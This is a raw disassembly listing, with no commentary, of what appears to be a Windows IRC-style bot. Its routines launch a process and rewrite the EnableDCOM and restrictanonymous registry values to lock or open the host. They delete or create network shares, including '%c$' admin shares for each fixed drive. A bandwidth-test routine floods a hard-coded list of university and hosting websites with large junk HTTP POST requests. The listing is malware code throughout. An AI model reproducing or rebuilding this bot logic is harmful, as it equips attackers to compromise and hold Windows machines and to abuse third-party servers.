		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		pop	edi
		push	edi		; Size
		lea	eax, [ebp+var_74]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		push	esi
		mov	ebx, offset byte_42B633
		push	ebx
		lea	eax, [ebp+var_178]
		push	eax
		mov	[ebp+var_74], edi
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_42B008	; CreateProcessA
		test	eax, eax
		jnz	short loc_41CADA


loc_41CAD2:				; CODE XREF: sub_41C9D4+60j
					; sub_41C9D4+77j ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41CB88
; ---------------------------------------------------------------------------


loc_41CADA:				; CODE XREF: sub_41C9D4+FCj
		push	[ebp+var_4]
		mov	edi, ds:dword_42B004
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4E277C, eax
		mov	eax, [ebp+var_8]
		mov	dword_4E2778, eax
		mov	eax, [ebp+Dst]
		mov	dword_4E27B4, eax
		call	edi	; CloseHandle
		cmp	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		mov	dword_4E2774, eax
		jz	short loc_41CB14
		push	[ebp+arg_4]
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB14:				; CODE XREF: sub_41C9D4+139j
		push	ebx		; Format


loc_41CB15:				; CODE XREF: sub_41C9D4+13Ej
		push	offset byte_4E2780 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi		; int
		push	0Ah		; int
		push	offset dword_438C5C ; Source
		call	sub_40AE85
		mov	ecx, [ebp+var_24]
		mov	edi, eax
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4444F0[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41C87C
		push	esi
		push	esi
		call	ds:dword_42B03C	; CreateThread
		cmp	eax, esi
		mov	dword_4444FC[edi], eax
		jnz	short loc_41CB86
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_438C28 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esp, 10h


loc_41CB86:				; CODE XREF: sub_41C9D4+189j
		xor	eax, eax


loc_41CB88:				; CODE XREF: sub_41C9D4+101j
		pop	edi
		pop	ebx


loc_41CB8A:				; CODE XREF: sub_41C9D4+32j
		pop	esi
		leave
		retn
sub_41C9D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB8D	proc near		; CODE XREF: sub_41D1C3+37p

Dest		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_444274, edi
		jnz	loc_41CCBB
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_444238	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41CC14
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		mov	word ptr [ebp+Str+2], 4Eh
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4440E4	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+Dest]
		jz	short loc_41CBFC
		push	offset dword_438ED8
		jmp	short loc_41CC01
; ---------------------------------------------------------------------------


loc_41CBFC:				; CODE XREF: sub_41CB8D+66j
		push	offset asc_438EB8 ; "-"


loc_41CC01:				; CODE XREF: sub_41CB8D+6Dj
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4441E8	; RegCloseKey
		jmp	short loc_41CC27
; ---------------------------------------------------------------------------


loc_41CC14:				; CODE XREF: sub_41CB8D+36j
		lea	eax, [ebp+Dest]
		push	offset asc_438E88 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41CC27:				; CODE XREF: sub_41CB8D+85j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41CC46
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41CC46:				; CODE XREF: sub_41CB8D+9Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_444238	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41CCB4
		push	4
		lea	eax, [ebp+Str]
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], 1
		call	dword_4440E4	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+Dest]
		jz	short loc_41CC9C
		push	offset dword_438E38
		jmp	short loc_41CCA1
; ---------------------------------------------------------------------------


loc_41CC9C:				; CODE XREF: sub_41CB8D+106j
		push	offset asc_438E04 ; "-"


loc_41CCA1:				; CODE XREF: sub_41CB8D+10Dj
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4441E8	; RegCloseKey
		jmp	short loc_41CCCE
; ---------------------------------------------------------------------------


loc_41CCB4:				; CODE XREF: sub_41CB8D+DEj
		push	offset dword_438DC8
		jmp	short loc_41CCC0
; ---------------------------------------------------------------------------


loc_41CCBB:				; CODE XREF: sub_41CB8D+13j
		push	offset asc_438D98 ; "-"


loc_41CCC0:				; CODE XREF: sub_41CB8D+12Cj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41CCCE:				; CODE XREF: sub_41CB8D+125j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41CCED
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41CCED:				; CODE XREF: sub_41CB8D+144j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		cmp	dword_44429C, edi
		pop	ecx
		jnz	loc_41CE6A
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi
		push	ebx


loc_41CD10:				; CODE XREF: sub_41CB8D+2C1j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+Str]
		push	eax
		push	1F6h
		push	edi
		call	dword_44420C
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41CDAF
		cmp	eax, 0EAh
		jz	short loc_41CDAF
		xor	esi, esi


loc_41CD3E:				; CODE XREF: sub_41CB8D+21Bj
		push	off_4434B8[esi]
		push	edi
		call	sub_41B8EE
		pop	ecx
		pop	ecx
		push	off_4434B8[esi]
		test	eax, eax
		lea	eax, [ebp+Dest]
		jnz	short loc_41CD63
		push	offset dword_438D74
		jmp	short loc_41CD68
; ---------------------------------------------------------------------------


loc_41CD63:				; CODE XREF: sub_41CB8D+1CDj
		push	offset asc_438D48 ; "-"


loc_41CD68:				; CODE XREF: sub_41CB8D+1D4j
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41CD95
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41CD95:				; CODE XREF: sub_41CB8D+1ECj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esi, 8
		cmp	esi, 20h
		pop	ecx
		jb	short loc_41CD3E
		jmp	loc_41CE47
; ---------------------------------------------------------------------------


loc_41CDAF:				; CODE XREF: sub_41CB8D+1A6j
					; sub_41CB8D+1ADj
		mov	esi, dword ptr [ebp+Str]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41CE3E


loc_41CDBE:				; CODE XREF: sub_41CB8D+2ADj
		mov	edi, [esi]
		push	edi		; Str
		call	_wcslen
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41CE33
		push	edi
		call	sub_41B802
		push	eax
		push	0
		call	sub_41B8EE
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+Dest]
		jnz	short loc_41CDF3
		push	offset dword_438D24
		jmp	short loc_41CDF8
; ---------------------------------------------------------------------------


loc_41CDF3:				; CODE XREF: sub_41CB8D+25Dj
		push	offset asc_438CF8 ; "-"


loc_41CDF8:				; CODE XREF: sub_41CB8D+264j
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41CE26
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41CE26:				; CODE XREF: sub_41CB8D+27Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx


loc_41CE33:				; CODE XREF: sub_41CB8D+240j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41CDBE
		xor	edi, edi


loc_41CE3E:				; CODE XREF: sub_41CB8D+22Bj
		push	dword ptr [ebp+Str]
		call	dword_444140


loc_41CE47:				; CODE XREF: sub_41CB8D+21Dj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41CD10
		lea	eax, [ebp+Dest]
		push	offset asc_438CD0 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41CE7D
; ---------------------------------------------------------------------------


loc_41CE6A:				; CODE XREF: sub_41CB8D+173j
		lea	eax, [ebp+Dest]
		push	offset asc_438CA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41CE7D:				; CODE XREF: sub_41CB8D+2DBj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41CE9B
		push	edi		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41CE9B:				; CODE XREF: sub_41CB8D+2F3j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_41CB8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEAF	proc near		; CODE XREF: sub_41D1C3:loc_41D201p

Dest		= byte ptr -220h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_444274, ebx
		push	esi
		jnz	loc_41CFD9
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_444238	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41CF36
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		mov	word ptr [ebp+Str+2], 59h
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4440E4	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+Dest]
		jz	short loc_41CF1E
		push	offset dword_439050
		jmp	short loc_41CF23
; ---------------------------------------------------------------------------


loc_41CF1E:				; CODE XREF: sub_41CEAF+66j
		push	offset asc_439034 ; "-"


loc_41CF23:				; CODE XREF: sub_41CEAF+6Dj
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4441E8	; RegCloseKey
		jmp	short loc_41CF49
; ---------------------------------------------------------------------------


loc_41CF36:				; CODE XREF: sub_41CEAF+36j
		lea	eax, [ebp+Dest]
		push	offset asc_438E88 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41CF49:				; CODE XREF: sub_41CEAF+85j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41CF68
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41CF68:				; CODE XREF: sub_41CEAF+9Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_444238	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41CFD2
		push	4
		lea	eax, [ebp+Str]
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], ebx
		call	dword_4440E4	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+Dest]
		jz	short loc_41CFBA
		push	offset dword_438FF4
		jmp	short loc_41CFBF
; ---------------------------------------------------------------------------


loc_41CFBA:				; CODE XREF: sub_41CEAF+102j
		push	offset asc_438FBC ; "-"


loc_41CFBF:				; CODE XREF: sub_41CEAF+109j
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4441E8	; RegCloseKey
		jmp	short loc_41CFEC
; ---------------------------------------------------------------------------


loc_41CFD2:				; CODE XREF: sub_41CEAF+DEj
		push	offset dword_438F80
		jmp	short loc_41CFDE
; ---------------------------------------------------------------------------


loc_41CFD9:				; CODE XREF: sub_41CEAF+13j
		push	offset asc_438D98 ; "-"


loc_41CFDE:				; CODE XREF: sub_41CEAF+128j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41CFEC:				; CODE XREF: sub_41CEAF+121j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41D00B
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41D00B:				; CODE XREF: sub_41CEAF+140j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		cmp	dword_44429C, ebx
		pop	ecx
		jnz	loc_41D17E
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_41D02C:				; CODE XREF: sub_41CEAF+1EAj
		push	dword_4434BC[esi] ; int
		push	off_4434B8[esi]	; Str
		push	ebx		; int
		call	sub_41B883
		add	esp, 0Ch
		push	off_4434B8[esi]
		test	eax, eax
		lea	eax, [ebp+Dest]
		jnz	short loc_41D058
		push	offset dword_438F60
		jmp	short loc_41D05D
; ---------------------------------------------------------------------------


loc_41D058:				; CODE XREF: sub_41CEAF+1A0j
		push	offset asc_438F38 ; "-"


loc_41D05D:				; CODE XREF: sub_41CEAF+1A7j
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41D086
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41D086:				; CODE XREF: sub_41CEAF+1BBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		add	esi, 8
		cmp	esi, 10h
		pop	ecx
		jb	short loc_41D02C
		call	ds:dword_42B130	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41D166


loc_41D0AE:				; CODE XREF: sub_41CEAF+2B1j
		test	byte ptr [ebp+var_4], 1
		jz	loc_41D15B
		cmp	bl, 41h
		jz	loc_41D15B
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_44407C	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41D15B
		lea	eax, [ebp+var_20]
		push	eax		; int
		lea	eax, [ebp+var_14]
		push	eax		; Str
		push	0		; int
		call	sub_41B883
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+Dest]
		jnz	short loc_41D11F
		push	offset dword_438F60
		jmp	short loc_41D124
; ---------------------------------------------------------------------------


loc_41D11F:				; CODE XREF: sub_41CEAF+267j
		push	offset asc_438F38 ; "-"


loc_41D124:				; CODE XREF: sub_41CEAF+26Ej
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41D14E
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41D14E:				; CODE XREF: sub_41CEAF+283j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx


loc_41D15B:				; CODE XREF: sub_41CEAF+203j
					; sub_41CEAF+20Cj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41D0AE


loc_41D166:				; CODE XREF: sub_41CEAF+1F9j
		lea	eax, [ebp+Dest]
		push	offset asc_438F08 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		pop	edi
		jmp	short loc_41D191
; ---------------------------------------------------------------------------


loc_41D17E:				; CODE XREF: sub_41CEAF+16Fj
		lea	eax, [ebp+Dest]
		push	offset asc_438CA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41D191:				; CODE XREF: sub_41CEAF+2CDj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41D1AF
		push	ebx		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41D1AF:				; CODE XREF: sub_41CEAF+2E5j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_41CEAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41D1C3	proc near		; DATA XREF: sub_40274D+2BECo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		cmp	[ebp+74h+var_10], 0
		push	[ebp+74h+var_8]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		jz	short loc_41D201
		call	sub_41CB8D
		jmp	short loc_41D206
; ---------------------------------------------------------------------------


loc_41D201:				; CODE XREF: sub_41D1C3+35j
		call	sub_41CEAF


loc_41D206:				; CODE XREF: sub_41D1C3+3Cj
		add	esp, 10h
		push	[ebp+74h+var_14]
		call	sub_40B149
		pop	ecx
		push	0
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_41D1C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D21B	proc near		; CODE XREF: sub_41D41B+CBp
					; sub_41D41B+DDp ...

arg_0		= dword	ptr  4

		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		call	_rand
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41D21B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D235(char *Str)

sub_41D235	proc near		; CODE XREF: sub_41D41B+D4p
					; sub_41D41B+E6p ...

var_34		= dword	ptr -34h
Dst		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
Source		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	[ebp+Str]	; Str
		call	_strlen
		mov	esi, 0FFh
		cmp	eax, esi
		pop	ecx
		ja	short loc_41D2A5
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+Str]
		mov	[ebp+Dst], 2
		call	sub_4022BD
		add	esp, 10h
		test	eax, eax
		mov	[ebp+var_24], eax
		jz	short loc_41D2A5
		push	50h
		call	dword_444260	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_444100	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	short loc_41D2A5
		push	10h
		lea	ecx, [ebp+Dst]
		push	ecx
		push	eax
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D2AC


loc_41D2A5:				; CODE XREF: sub_41D235+17j
					; sub_41D235+3Cj ...
		xor	eax, eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------


loc_41D2AC:				; CODE XREF: sub_41D235+6Ej
		push	ebx
		push	edi
		push	32003h		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	edi, ds:dword_42B038
		mov	ebx, eax
		pop	ecx
		mov	[ebp+Source], ebx
		call	edi	; GetTickCount
		push	eax		; Size
		call	sub_41ECD4
		call	_rand
		cdq
		idiv	esi
		mov	[esp+34h+var_34], 32001h
		push	0		; Val
		push	ebx		; Dst
		movsx	esi, dl
		call	_memset
		push	32000h		; Size
		push	esi		; Val
		push	ebx		; Dst
		call	_memset
		push	ebx		; Str
		call	_strlen
		push	323EAh		; unsigned int
		mov	ebx, eax
		call	??2@YAPAXI@Z	; operator new(uint)
		push	ebx
		push	[ebp+Str]
		mov	esi, eax
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi		; Dest
		call	_sprintf
		push	[ebp+Source]	; Source
		push	esi		; Dest
		call	_strcat
		push	offset asc_434A60 ; "\r\n"
		push	esi		; Dest
		call	_strcat
		add	esp, 40h
		push	esi		; Str
		call	_strlen
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_18], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+var_8], eax
		jbe	short loc_41D387
		mov	[ebp+var_10], ebx
		mov	ebx, 400h
		jmp	short loc_41D353
; ---------------------------------------------------------------------------


loc_41D350:				; CODE XREF: sub_41D235+150j
		mov	eax, [ebp+var_8]


loc_41D353:				; CODE XREF: sub_41D235+119j
		mov	ecx, [ebp+var_14]
		sub	ecx, eax
		add	eax, esi
		cmp	ecx, ebx
		push	0
		jnb	short loc_41D365
		push	[ebp+var_10]
		jmp	short loc_41D366
; ---------------------------------------------------------------------------


loc_41D365:				; CODE XREF: sub_41D235+129j
		push	ebx


loc_41D366:				; CODE XREF: sub_41D235+12Ej
		push	eax
		push	[ebp+var_4]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_41D3FE
		add	[ebp+var_8], ebx
		mov	eax, [ebp+var_8]
		sub	[ebp+var_10], ebx
		cmp	eax, [ebp+var_14]
		jb	short loc_41D350


loc_41D387:				; CODE XREF: sub_41D235+10Fj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_18]
		test	eax, eax
		mov	[ebp+var_18], eax
		fild	[ebp+var_18]
		jge	short loc_41D39C
		fadd	ds:flt_439084


loc_41D39C:				; CODE XREF: sub_41D235+15Fj
		fmul	ds:flt_439080
		fstp	[ebp+var_10]
		fld	ds:flt_43907C
		fld	[ebp+var_10]
		fucompp
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41D3BC
		fld1
		fstp	[ebp+var_10]


loc_41D3BC:				; CODE XREF: sub_41D235+180j
		push	[ebp+var_4]
		call	dword_444218	; closesocket
		push	[ebp+Source]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		fild	[ebp+var_14]
		mov	eax, [ebp+var_14]
		test	eax, eax
		pop	ecx
		pop	ecx
		jge	short loc_41D3E5
		fadd	ds:flt_439084


loc_41D3E5:				; CODE XREF: sub_41D235+1A8j
		fdiv	[ebp+var_10]
		fmul	ds:flt_439078
		fmul	ds:flt_439074
		call	__ftol2


loc_41D3F9:				; CODE XREF: sub_41D235+1E4j
		pop	edi
		pop	ebx


loc_41D3FB:				; CODE XREF: sub_41D235+72j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3FE:				; CODE XREF: sub_41D235+13Ej
		push	[ebp+var_4]
		call	dword_444218	; closesocket
		push	[ebp+Source]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D3F9
sub_41D235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D41B(int,char *Str,int)

sub_41D41B	proc near		; CODE XREF: sub_40274D+2C3Ep

Dest		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
